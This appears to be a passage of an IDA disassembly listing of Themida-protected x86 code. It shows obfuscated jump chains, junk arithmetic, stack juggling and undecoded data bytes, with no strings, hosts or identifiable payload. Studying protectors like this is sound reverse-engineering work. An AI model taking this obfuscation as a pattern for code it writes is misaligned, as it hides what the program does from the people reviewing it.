		xor	edx, 0C007E77h
		sub	ebx, edx
		pop	edx
		add	ebx, 0A43B1781h
		add	eax, ebx
		jmp	loc_59545C
; ---------------------------------------------------------------------------


loc_5A45FC:				; CODE XREF: Themida_:005950F0j
		mov	esi, esp
		jmp	loc_599B03
; ---------------------------------------------------------------------------


loc_5A4603:				; CODE XREF: Themida_:005992DCj
		push	271Eh
		mov	[esp], ebx
		mov	ebx, esp
		jmp	loc_59ABA5
; ---------------------------------------------------------------------------
		dw 0C781h
		dd 1, 0C1D7F747h, 4BE905E7h, 0F6FFFFB9h, 0B60F66F9h, 816866CCh
		dd 5E97E933h, 0BD55FFFFh, 4, 0FF9CCDE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A463D:				; CODE XREF: Themida_:005A0ADDj
		shr	ah, 5
		or	ah, 0C8h
		jmp	loc_593630
; ---------------------------------------------------------------------------


loc_5A4648:				; CODE XREF: Themida_:005A3C3Ej
		pop	edi
		sub	edi, 4EB14E62h
		jmp	loc_59D479
; ---------------------------------------------------------------------------


loc_5A4654:				; CODE XREF: Themida_:005A5AD0j
		push	edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[ebx], edx
		mov	ebx, [esp]
		jmp	loc_59B4A9
; ---------------------------------------------------------------------------


loc_5A4670:				; CODE XREF: Themida_:00592271j
		sub	esi, 9FE26E88h
		add	edi, esi
		pop	esi
		mov	ebx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_592F24
; ---------------------------------------------------------------------------
		dw 0E980h
		dd 70FCE91Ah
		db 2 dup(0FFh)
word_5A469A	dw 34FFh		; DATA XREF: Themida_:00590830o
		dd 5008E924h, 8966FFFFh, 87E92404h, 59FFFEE4h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		mov	cl, 26h
		shr	cl, 4
		neg	cl
		push	dx
		jmp	loc_5A3620
; ---------------------------------------------------------------------------


loc_5A46D0:				; CODE XREF: Themida_:00598DE4j
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 4FA54DFh
		jmp	loc_59B40D
; ---------------------------------------------------------------------------


loc_5A46E1:				; CODE XREF: Themida_:00593350j
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5A3823
; ---------------------------------------------------------------------------


loc_5A46EC:				; CODE XREF: Themida_:00599730j
		mov	[esp], ebx
		push	28h
		pop	ebx
		add	ebx, 4635D1Ah
		sub	ebx, offset word_49457A
		add	ebx, edi
		push	38C1h
		mov	[esp], ecx
		mov	ecx, offset word_49457A
		add	ebx, ecx
		jmp	loc_592466
; ---------------------------------------------------------------------------
aIIZyh		db 'ˆÊˆÓZYhÄ',0Ah,0
		align 2
		dw 23E9h
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4727:				; CODE XREF: Themida_:0059DAC2j
		mov	ebx, 314B3175h
		jmp	loc_5A2390
; ---------------------------------------------------------------------------
		db 89h,	1Ch, 24h
		dd 546AC868h, 0DE895B4Dh, 0FF2434FFh, 835B2434h, 8B6804C4h
		dd 89000044h, 0E589242Ch, 0FFE5A5E9h, 5F5A57FFh, 42E9D001h
		dd 59FFFECAh, 0E95AD629h, 0FFFFD045h
; ---------------------------------------------------------------------------


loc_5A4768:				; CODE XREF: Themida_:00595EF9j
		mov	edx, 518D08ECh
		jmp	loc_5A5246
; ---------------------------------------------------------------------------


loc_5A4772:				; CODE XREF: Themida_:00591CB6j
		pop	ecx
		jmp	loc_5A442F
; ---------------------------------------------------------------------------
		dd 6E9C141h, 0FF5745E9h, 241C89FFh, 0FF03BBE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A4789:				; CODE XREF: Themida_:005A3824j
		add	eax, 7ECC5D01h
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_599883
; ---------------------------------------------------------------------------
word_5A47A2	dw 8B66h		; DATA XREF: Themida_:00590990o
		dd 5450240Ch, 9351E958h, 0C188FFFFh, 3B2868h, 24148900h
		dd 0FFFF5AE9h, 246C81FFh, 45501504h, 246C810Ch,	0A8473204h
		dd 242C8B0Bh, 81E18951h, 4C1h, 4C18300h, 0FFCC05E9h, 243C89FFh
		dd 0FFBE8AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A47E9:				; CODE XREF: Themida_:005A1DD1j
		mov	[esp], eax
		mov	eax, 3800C2h
		jmp	loc_5A04E4
; ---------------------------------------------------------------------------
		dw 3489h
		dd 50E68924h, 468h, 0EE815800h,	699F027Ch, 6505B951h, 0E9815080h
		dd 2D729DEh, 0FF9B7CE9h, 242489FFh, 4240483h, 57242C8Bh
		dd 0C781E789h, 4, 0E904C783h, 0FFFEDAF8h, 4C481h, 86E90000h
		dd 0B8FFFEC2h, 7EF56758h, 256C9D0Dh, 3E0C155h, 6A4BBE56h
		dd 0F0293A8Ah, 0FFF1C3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A4859:				; CODE XREF: Themida_:005980F0j
		xchg	eax, [esp]
		pop	esp
		push	592Dh
		jmp	loc_597780
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C483240Ch, 81D6F704h, 0ECF870EEh, 8BF031EBh, 7CE92434h
		dd 58FFFEF3h, 8304C483h, 1C8704EBh, 4EEE924h, 0C87FFFFh
		dd 24248B24h, 22D6E954h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A489A:				; CODE XREF: Themida_:005A3526j
		push	dword ptr [esp]
		jmp	loc_59B073
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 48BC301h,	5AE95324h, 0BEFFFFBCh, 85F268Eh, 0BBE9D6F7h
		db 3Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A48BF:				; CODE XREF: Themida_:0059E83Fj
		add	esi, ebp
		pop	ebp
		push	0A5Bh
		mov	[esp], edx
		mov	edx, 563B73D0h
		add	edx, 0A9C48C34h
		push	eax
		mov	eax, 139763F8h
		jmp	loc_59D8CB
; ---------------------------------------------------------------------------


loc_5A48E0:				; CODE XREF: Themida_:005A00D3j
		xor	eax, esi
		mov	esi, [esp]
		jmp	loc_59652F
; ---------------------------------------------------------------------------


loc_5A48EA:				; CODE XREF: Themida_:0059DA72j
		xor	edx, 0E204F416h
		xor	edi, edx
		pop	edx
		sub	ebx, edi
		pop	edi
		push	4DE7h
		jmp	loc_593FC6
; ---------------------------------------------------------------------------
		dd 461DBE56h, 0D6F75159h, 0FF8514E9h, 8EB450FFh, 8858E230h
		dd 7075E9D5h, 74FFFFFFh, 348B0424h, 4C48124h, 8F000000h
		dd 71E92404h
		db 0DBh, 2 dup(0FFh)
byte_5A492F	db 66h			; DATA XREF: Themida_:00590964o
		dd 6824048Bh, 78E5h, 54241C89h,	4BF575Bh, 1000000h, 89565FFBh
		dd 7AE951E6h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A494F:				; CODE XREF: Themida_:00593F85j
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5A37F8
; ---------------------------------------------------------------------------
		dd 8104C483h, 0A83BECEBh, 55D30129h, 0F421B2BDh, 0C6ED813Bh
		dd 1124BE5h, 0B9515DEBh, 7BD56988h, 0FEEABEE9h,	5FFA01FFh
		dd 0E9240C8Bh, 1163h
; ---------------------------------------------------------------------------


loc_5A4994:				; CODE XREF: Themida_:00595DB4j
		xor	[esp], edx
		xor	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ax
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
		dw 0FF52h
		dd 5A042474h, 5C24048Fh, 24048B66h, 40AB68h, 24348900h
		dd 6CE95E54h, 66000007h, 50240C8Bh, 0FFE9E089h,	9FFFEECh
		dd 9EE95AD5h, 29FFFFF0h, 242C8BE9h, 0FEC9A0E9h,	51505AFFh
		dd 861C8868h, 5E95973h,	87FFFFAAh, 87D7F7F9h, 55E950F9h
		db 78h,	2 dup(0FFh)
aN1HK		db '­1Øh!K',0           ; DATA XREF: Themida_:00590940o
		dw 8900h
a4HZ		db '4$h^Z',0
		dw 0E900h
		dd 0FFFF2FF5h
; ---------------------------------------------------------------------------


loc_5A4A10:				; CODE XREF: Themida_:005A005Bj
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5976AD
; ---------------------------------------------------------------------------
		db 89h
		dd 8956240Ch, 4C681E6h,	81000000h, 4EEh, 24343300h, 0FF9187E9h
		dd 4C683FFh, 0FF98B0E9h, 0E7C381FFh, 0E90EEF64h, 0FFFFF7EBh
		dd 0F76AE95Ch, 48BFFFFh, 4C48324h, 0E951h, 0E1890000h
		dd 4C181h, 0E9830000h, 240C8704h, 241C895Ch, 4EC81h, 24890000h
		dd 24048124h, 4, 49B8505Bh, 2D736077h, 0FFFFFFFFh, 0FF4F17E9h
		dd 24248BFFh, 4246C01h,	0E9242C8Bh, 0FFFF3979h
dword_5A4A9C	dd 0E940478Fh, 0FFFEBFF7h; ---------------------------------------------------------------------------


loc_5A4AA4:				; CODE XREF: Themida_:005A0EB3j
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_59A478
; ---------------------------------------------------------------------------
		db 81h
		dd 0F16174F7h, 23F7816Eh, 0E93F0F1Fh, 0FFFFFAD0h, 148BD029h
		dd 4C48324h, 8B2434FFh,	0C4832414h, 0E2895204h,	4C281h
		dd 0E9530000h, 0FFFF1728h, 3C8BF989h, 4C48124h,	55000000h
		dd 395BC1BDh, 2FC1E92Bh, 0C481FFFFh, 4,	5C24048Fh, 2D3BEA81h
		dd 0EA811CFBh, 11F937DDh, 71A8B850h, 0C20125C8h, 83C20158h
		dd 48904ECh, 5337B824h,	7E2D0644h, 254A5F3Eh, 5CCF7D19h
		dd 2414F750h, 2A002558h, 0A50D224Eh, 3528E634h,	0F264F0Dh
		dd 5658C229h, 340CF068h, 5DE95E0Dh
		db 0D8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4B53:				; CODE XREF: Themida_:005A1CF2j
		push	eax
		jmp	loc_5932A1
; ---------------------------------------------------------------------------
		db 56h,	0BEh, 0AAh
		dd 0E91CCF42h, 0FFFF52B9h
; ---------------------------------------------------------------------------


loc_5A4B64:				; CODE XREF: Themida_:0059E7F2j
		add	edx, 4FF25952h
		add	edx, edi
		jmp	loc_596E39
; ---------------------------------------------------------------------------
		db 0FFh, 34h, 24h
		dd 0E92434FFh, 0FFFEE845h, 8BF8295Ch, 0C481243Ch, 4, 24048150h
		dd 4E9B6EF0h, 0E9241C8Bh, 0FFFEF782h, 7620C5BEh, 4D4AE97Ch
		dd 15AFFFFh, 1482E9F8h,	0CA29FFFFh, 0FFC106E9h,	58E600FFh
		dd 24048B66h, 6602C483h, 80FFB151h, 0C6801DC6h,	80CE288Eh
		dd 0EC838EEEh, 0E555E902h, 0CCBDFFFFh, 0E97B106Eh, 0FFFF6C1Ah
		dd 5B66FC00h, 0E902E4C0h, 0FFFFCE32h, 0B2C7815Ah, 5045A932h
		dd 0C45359B8h, 0E9C72947h, 0FFFFEE3Ch, 0C7E9EF31h, 66FFFEDAh
		dd 666DDA68h, 0E9240C89h, 0FFFF30A8h, 8B24048Fh, 0A7E92424h
		dd 81FFFF3Fh, 105EAC6h,	86B95162h, 2975F86Eh, 0C68159CEh
		dd 11974E10h, 75D8E955h, 9F05FFFFh, 10C57CCh, 685058C3h
		dd 79180AB7h, 149F0558h, 0E9403DA4h, 0FFFF59E4h
; ---------------------------------------------------------------------------


loc_5A4C50:				; CODE XREF: Themida_:0059E32Cj
		xor	edx, 0AEC2964Ah
		add	edi, 106B04E5h
		add	edi, edx
		jmp	loc_5A36EB
; ---------------------------------------------------------------------------
		db 50h
		dd 1842BD55h, 0B9516B96h, 615653FBh, 5659CD09h,	5265E5BEh
		dd 40E68147h, 0C124E425h, 2AE906E6h, 2CFFFEBEh,	0C43BE956h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4C8E:				; CODE XREF: Themida_:005A254Dj
		add	esp, 4
		xor	edx, edi
		jmp	loc_597FED
; ---------------------------------------------------------------------------
		db 1
		dd 241C8BDFh, 4C481h, 0C7810000h, 7EB967D9h, 9EE9F729h
		dd 59FFFF0Fh, 72E95350h
		db 0F2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4CBB:				; CODE XREF: Themida_:005A54D4j
		mov	ecx, 2
		jmp	loc_59DF9E
; ---------------------------------------------------------------------------


loc_5A4CC5:				; CODE XREF: Themida_:0059B6C2j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_595A72
; ---------------------------------------------------------------------------
		dw 0DDF7h
		dd 0FEC3DAE9h, 24248BFFh, 0FFF7EAE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A4CDD:				; CODE XREF: Themida_:0059B194j
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 1
		add	ebp, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A2EEA
; ---------------------------------------------------------------------------
dword_5A4CF8	dd 240C8B66h, 5FBF6851h, 0F0E90000h, 66FFFF90h,	66273E05h
					; DATA XREF: Themida_:005909F0o
		dd 51241C8Bh, 0FF1212E9h, 40558FFh, 51000000h, 3101BB53h
		dd 0C3814078h, 1DCC7CC0h, 1AC3814Bh, 89DC1154h,	57AEE9D9h
		dd 5166FFFFh, 0E82823B5h, 0A8045966h, 0C2301034h, 5324048Bh
		dd 27E9E389h, 0B2FFFF67h, 66D0281Eh, 0B551535Ah, 0DA61E988h
		dd 8C68FFFEh, 0E9000067h, 0FFFFB789h
; ---------------------------------------------------------------------------


loc_5A4D68:				; CODE XREF: Themida_:00591C0Aj
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_5A34EE
; ---------------------------------------------------------------------------
		dw 2C89h
		dd 46824h, 2C8B0000h, 58545024h, 405h, 40500h, 0FF500000h
		dd 58042474h, 8B24048Fh, 0EB012424h, 68242C8Bh,	35C4h
		dd 89241C89h, 4C381E3h,	81000000h, 4C3h, 241C8700h, 5224248Bh
		dd 65E9E289h, 0F7FFFF0Ah, 3E3C1DBh, 114368h, 24148900h
		dd 0FFBA07E9h, 242C89FFh, 467968h, 4EBAE900h, 0FCBBFFFFh
		dd 31393200h, 24348BF3h, 4C481h, 67E90000h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_5A4DF7:				; CODE XREF: Themida_:005A56CCj
		mov	edx, [esp]
		add	esp, 4
		pop	ebx
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		mov	ecx, 4E1B1B54h
		neg	ecx
		or	ecx, 6E8E2FF6h
		shl	ecx, 2
		sub	ecx, 8EA45CD6h
		mov	esi, ecx
		pop	ecx
		jmp	loc_59B596
; ---------------------------------------------------------------------------


loc_5A4E27:				; CODE XREF: Themida_:0059246Cj
		pop	ecx
		add	esp, 4
		add	esp, 4
		sub	ebx, 4635D1Ah
		mov	eax, [ebx]
		mov	ebx, [esp]
		push	esi
		jmp	loc_59DBB5
; ---------------------------------------------------------------------------
		dw 545Ch
		dd 5124048Fh, 4B850h, 0C1890000h, 244C0158h, 48BAE904h
		dd 0C483FFFFh, 0FFFE2904h, 815F2434h, 4C4h, 8F5DE900h
		dd 0C8BFFFFh, 4C48324h,	0B60FC330h, 8734FFC0h, 53E18951h
		dd 725FA8BBh, 0ACF38165h, 165725Fh, 0E9815BD9h,	4, 31240C33h
		dd 0C33240Ch, 24248B24h, 89243C89h, 4C781E7h, 52000000h
		dd 0FFE4E8E9h, 105FFh, 98E90000h, 0BBFFFF45h, 63F05925h
		dd 0FB685657h, 5E72DB30h, 75E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A4ECD:				; CODE XREF: Themida_:0059780Ej
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_59C7FA
; ---------------------------------------------------------------------------
		dd 210BC381h, 348B0C92h, 4C48124h, 81000000h, 2C3h, 0E8E5E900h
		dd 400FFFFh, 0A0E99C24h
		db 0BBh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A4EFB:				; CODE XREF: Themida_:0059CD62j
		add	eax, 27887610h
		pop	ebp
		sub	eax, 17D22F14h
		add	eax, ebx
		add	eax, 17D22F14h
		push	edi
		push	4338h
		mov	[esp], esi
		jmp	loc_5970D4
; ---------------------------------------------------------------------------


loc_5A4F1B:				; CODE XREF: Themida_:0059D1F1j
		add	al, 1Bh
		sub	dh, al
		pop	eax
		sub	bl, dh
		jmp	loc_59D62A
; ---------------------------------------------------------------------------
		align 4
		dd 0FD4FE9C8h, 0C89FFFEh, 74E3E924h, 295AFFFFh,	1C8759CBh
		dd 8A2CE924h, 0D6F7FFFFh, 76D9F681h, 0BE96A7Ch
		db 81h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A4F4F:				; CODE XREF: Themida_:00595CDDj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		jmp	loc_59B306
; ---------------------------------------------------------------------------
		db 8Bh,	3Ch, 24h
		dd 4C481h, 0C3830000h, 241C8704h, 0C8BF0F5Ch, 7A8168h
		dd 240C8900h, 0FEBB1EE9h, 58E728FFh, 0E91DE780h, 0FFFF9BCEh
		dd 6602EC83h, 0E9240489h, 0FFFFE204h, 4BA5258h,	0E9000000h
		dd 0FFFF5C3Ah, 42EABF57h, 0B850005Dh, 0FFA2BD18h, 8158C701h
		dd 0D97E71C2h, 81FA016Bh, 0D97E71EAh, 243C8B6Bh, 8904EC83h
		dd 76E92414h
		db 0D7h, 2 dup(0FFh)
byte_5A4FCB	db 0ADh			; DATA XREF: Themida_:00590800o
		dd 0FF4337E9h, 4C681FFh, 87000000h, 74E92434h, 50FFFFCDh
		dd 405E089h, 2D000000h,	4, 0E9240433h, 0FFFF2379h, 0FA31D731h
		dd 4A06E2C1h, 1079F281h, 0D72981BBh, 349E95Ah, 3C31FFFFh
		dd 243C3324h, 0C89665Ch, 0F6B65224h, 8AE9F188h
		db 0EAh, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A501F:				; CODE XREF: Themida_:00593241j
		pop	esp
		push	edx
		push	70473E98h
		pop	edx
		mov	eax, 70473E99h
		xor	eax, edx
		push	dword ptr [esp]
		jmp	loc_598F28
; ---------------------------------------------------------------------------


loc_5A5036:				; CODE XREF: Themida_:005A08A8j
		mov	edx, 4
		sub	esi, 40BA7780h
		jmp	loc_5A05BC
; ---------------------------------------------------------------------------


loc_5A5046:				; CODE XREF: Themida_:005911D3j
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	edi, 573B5A83h
		add	edi, ebx
		jmp	loc_5A3A80
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 16632207h, 7E9F589h,	0B8FFFF00h, 4, 4244401h, 8324048Bh
		dd 55804C4h, 4,	405h, 9978E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A508A:				; CODE XREF: Themida_:0059A65Ej
		pop	esi
		pop	ebx
		and	eax, edi
		mov	edi, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_597B7A
; ---------------------------------------------------------------------------
aNhV		db '­hÉv',0             ; DATA XREF: Themida_:0059098Co
		align 2
		dw 7BE9h
		db 0F4h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A50B3:				; CODE XREF: Themida_:0059EEEDj
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	edx
		mov	edx, 2
		add	esi, edx
		mov	edx, [esp]
		jmp	loc_5920A9
; ---------------------------------------------------------------------------
dword_5A50CC	dd 67B652ACh, 67BE6866h, 240C8966h, 0DDC8E950h,	2EBBFFFFh
					; DATA XREF: Themida_:005909D4o
		dd 0C10B922Eh, 0C38107EBh, 7CC6160Fh, 0FFA5B7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A50F1:				; CODE XREF: Themida_:0059A01Cj
		mov	[esp], edi
		mov	edi, 66543FD6h
		jmp	loc_59F0B4
; ---------------------------------------------------------------------------
		dw 0EE83h
		dd 24348704h, 0FF7B73E9h, 231DB9FFh, 0E1C12644h, 49D1F702h
		dd 0A6C9F181h, 0CF31F95Ch, 0EFC18159h, 0E934713Bh, 0FFFED918h
		dd 0D9E9C588h, 81FFFFEFh, 4C6h,	2C68300h, 4EC81h, 34890000h
		dd 2474FF24h, 24348B04h, 3C1568h, 24348900h, 4EE95E54h
		dd 0CFFFF4Fh, 52EC2CEEh, 46E9ACB2h, 5AFFFF4Dh, 4C581h
		dd 2C870000h, 0C6815C24h, 4, 5ABE5653h,	0E9153602h, 0FFFF0ED5h
		dd 0EEE9E931h, 55FFFFDFh, 0CC198CBDh, 24448158h, 403C3804h
		dd 246C2948h, 4EC8304h,	0BB241C89h, 48403C38h, 8245C29h
		dd 242C8B5Bh, 0FF04C483h, 34FF2434h, 24048B24h,	0FED0C1E9h
		dd 81E958FFh, 2DFFFF3Dh, 57D5E39h, 423C3A05h, 24148B2Fh
		dd 54E95452h, 5AFFFFCDh, 34FF1204h, 0C4815A24h,	4, 3AE8E953h
		dd 0B353FFFFh, 0E9D820D2h, 0FFFFA1F7h
; ---------------------------------------------------------------------------


loc_5A51F4:				; CODE XREF: Themida_:0059481Ej
		sub	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_59F294
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0E2808FB2h, 2E280F5h, 0EC81DAF6h, 2,	0FF06B2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5219:				; CODE XREF: Themida_:0059DFD5j
		push	ebp
		xchg	edx, [esp]
		not	edx
		jmp	loc_592434
; ---------------------------------------------------------------------------
		dd 525B5A59h, 0C2FE3FB2h, 0FED045E9h, 4C0159FFh, 0FF590424h
		dd 30E92434h, 5AFFFF69h, 0C89CE957h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A5246:				; CODE XREF: Themida_:005A476Dj
		xor	edx, 65EE3F26h
		dec	edx
		shl	edx, 4
		push	edi
		jmp	loc_597A7E
; ---------------------------------------------------------------------------
word_5A5256	dw 8B66h		; DATA XREF: Themida_:005907C4o
		dd 3B68240Ch, 0E900004Bh, 0FFFED5C6h
; ---------------------------------------------------------------------------


loc_5A5264:				; CODE XREF: Themida_:005970ECj
		mov	eax, 93FF8EF3h
		xor	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	esi, ebx
		jmp	loc_5A1AF9
; ---------------------------------------------------------------------------
		dd 2E7C158h, 8103EFC1h,	4ECh, 240C8900h, 7F0D6850h, 5581579h
		dd 2602891Eh, 0E958C189h, 0FFFF2216h, 8B243C33h, 4892424h
		dd 0E0895024h, 405h, 4E88300h, 5C240487h, 81240C89h, 4ECh
		dd 24048900h, 0FEE159E9h, 3090B8FFh, 0C1012E24h, 8324048Bh
		dd 26E904C4h, 66FFFFBFh, 0C8B3535Ah, 0F6C0C380h, 535266D3h
		dd 0EB804DB3h, 5BDA88E2h, 0FF1F3AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A52F1:				; CODE XREF: Themida_:005950B1j
		mov	edi, 4
		jmp	loc_59121B
; ---------------------------------------------------------------------------
		db 29h
		dd 0E5B951C7h, 0E97E9F49h, 0FFFF1982h, 8324148Bh, 0B0B104C4h
		dd 0FF15B4E9h, 4C281FFh, 83000000h, 148704C2h, 83E95C24h
		dd 0B8FFFEE4h, 69502B15h, 83272A05h, 4FF5033h, 0DB355824h
		dd 0C12F776Bh, 0A1E904E0h, 89FFFFE1h, 241C8BD9h, 4C481h
		dd 0BB530000h, 6F6A180Fh, 1C8BD829h, 4C48124h, 1000000h
		dd 0FBE56C8h, 0E96F6A18h, 6CAh,	3EE9E0D1h, 0B9FFFFFBh
		dd 0D69DCA91h, 8959CB29h, 241C8BDEh, 4C481h, 61E90000h
		dd 8FFFFEC8h, 835C2404h, 77FF04C4h, 2434FF1Ch, 592434FFh
		dd 4EC81h, 2C890000h, 51E58924h, 4B9h, 3CED8100h, 161A075h
		dd 3CC581CDh, 5961A075h, 4C581h, 2C870000h, 0B9BFE924h
		dd 815AFFFFh, 4C4h, 52D82800h, 683AB050h, 4F5h,	0B6241489h
		dd 7B39E91Dh, 0EC81FFFFh, 4, 5E240C89h,	81D6F759h, 0BA42A3F6h
		dd 0B9F6815Bh, 1E08496h, 0E42AE9F2h, 875AFFFEh,	248B243Ch
		dd 2404D224h, 0B685E99Ch
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A5416:				; CODE XREF: Themida_:005A0AF3j
		shl	edx, 1
		add	edx, 0FF1DF580h
		mov	esi, edx
		pop	edx
		jmp	loc_59A5C9
; ---------------------------------------------------------------------------


loc_5A5426:				; CODE XREF: Themida_:00591F36j
		push	eax
		mov	eax, esp
		jmp	loc_59D51D
; ---------------------------------------------------------------------------
		dw 8859h
		dd 0CEFE58C6h, 0FED831E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5439:				; CODE XREF: Themida_:005A19A5j
		mov	[esp], ecx
		push	5C6Ch
		jmp	loc_5923B5
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4C48124h, 33000000h,	2C31242Ch, 242C3324h, 8E8C15Ch
		dd 0D031C831h, 0D031C231h, 24043152h, 31240433h, 0F7502404h
		dd 48B2414h, 45E95724h
		db 0B9h, 0FEh, 0FFh
byte_5A547B	db 0FFh			; DATA XREF: Themida_:005909D8o
		dd 2C811C77h, 7711C224h, 0CDA8E975h, 1489FFFFh,	0C7FDE924h
		dd 875BFFFFh, 248B2434h, 26276824h, 14890000h, 8032B624h
		dd 0C680AFC6h, 79F680FFh, 0FEC216E9h, 0E9D6F7FFh, 0FFFEDDC6h
; ---------------------------------------------------------------------------


loc_5A54B8:				; CODE XREF: Themida_:005A315Ej
		xor	edi, [esp]
		pop	esp
		sub	ecx, 1EF22DF5h
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 8EFBB60Dh
		xor	ecx, eax
		pop	eax
		add	ebx, ecx
		pop	ecx
		push	ecx
		jmp	loc_5A4CBB
; ---------------------------------------------------------------------------
		db 56h,	89h, 0FEh
		dd 348BF189h, 4C48124h,	8B000000h, 0C481243Ch, 4, 34FFCE01h
		dd 0C4835924h, 74FF5604h, 0E0E90424h, 81FFFF90h, 4C4h
		dd 8BF90000h, 0C483241Ch, 5A93E904h, 8B66FFFFh,	75E9240Ch
		db 55h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A551F:				; CODE XREF: Themida_:005A196Ej
		mov	edi, 21BE2E31h
		sub	edi, ecx
		pop	ecx
		push	esi
		jmp	loc_5A2B2F
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 4
		dd 89000000h, 0ED8158C3h, 2ECB123Ch, 0FEF2E2E9h, 240C33FFh
		dd 33240C31h, 665C240Ch, 5024048Bh, 0FFEA73E9h,	6FF4BAFFh
		dd 12E952A9h, 1FFFFEFh,	0BB535DEFh, 61561289h, 3AF4B850h
		dd 790D5A21h, 3538FC11h, 1BAB2970h, 2958C331h, 3C335BDFh
		dd 243C3124h, 5C243C33h, 52242C89h, 48393CBAh, 0ED42E94Ch
		db 2 dup(0FFh)
word_5A5596	dw 8F64h		; DATA XREF: Themida_:00590A20o
		dd 0B4FDE902h, 0F301FFFEh, 0FFE417E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A55A5:				; CODE XREF: Themida_:005A25A2j
		push	dword ptr [eax]
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5A55AC:				; CODE XREF: Themida_:005A3753j
		shl	ebx, 3
		push	ebp
		mov	ebp, 37F20B5Bh
		shl	ebp, 1
		xor	ebp, 1B4C48EDh
		or	ebx, ebp
		pop	ebp
		shr	ebx, 2
		add	ebx, 0C084042Ah
		and	eax, ebx
		pop	ebx
		jmp	loc_598FA2
; ---------------------------------------------------------------------------
		db 66h,	81h, 0CFh
		dd 4F6669C0h, 0CE95566h, 8BFFFF77h, 0C483242Ch,	0E3895304h
		dd 4C381h, 0EB810000h, 4, 5C241C87h, 0BE243489h, 2, 4F9DE981h
		dd 0F101588Bh, 4F9DBB53h, 22E9588Bh, 81FFFF6Eh,	985889C7h
		dd 5FFD21F1h, 0ED81D5F7h, 6F448A5Ch, 2C8BE889h,	0E7895724h
		dd 4C781h, 0C7830000h, 243C8704h, 5124248Bh, 0FF719DE9h
		dd 81C701FFh, 0DA6117EFh, 0DAA1E913h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A564E:				; CODE XREF: Themida_:00594804j
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ecx
		push	esi
		mov	esi, 3B471F2Fh
		not	esi
		jmp	loc_594ED2
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 55C62470h, 0FF80FFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A5685:				; CODE XREF: Themida_:0059D48Bj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_59419A
; ---------------------------------------------------------------------------
		dd 4848B951h, 0E9410CBEh, 0FFFF1EA0h
; ---------------------------------------------------------------------------


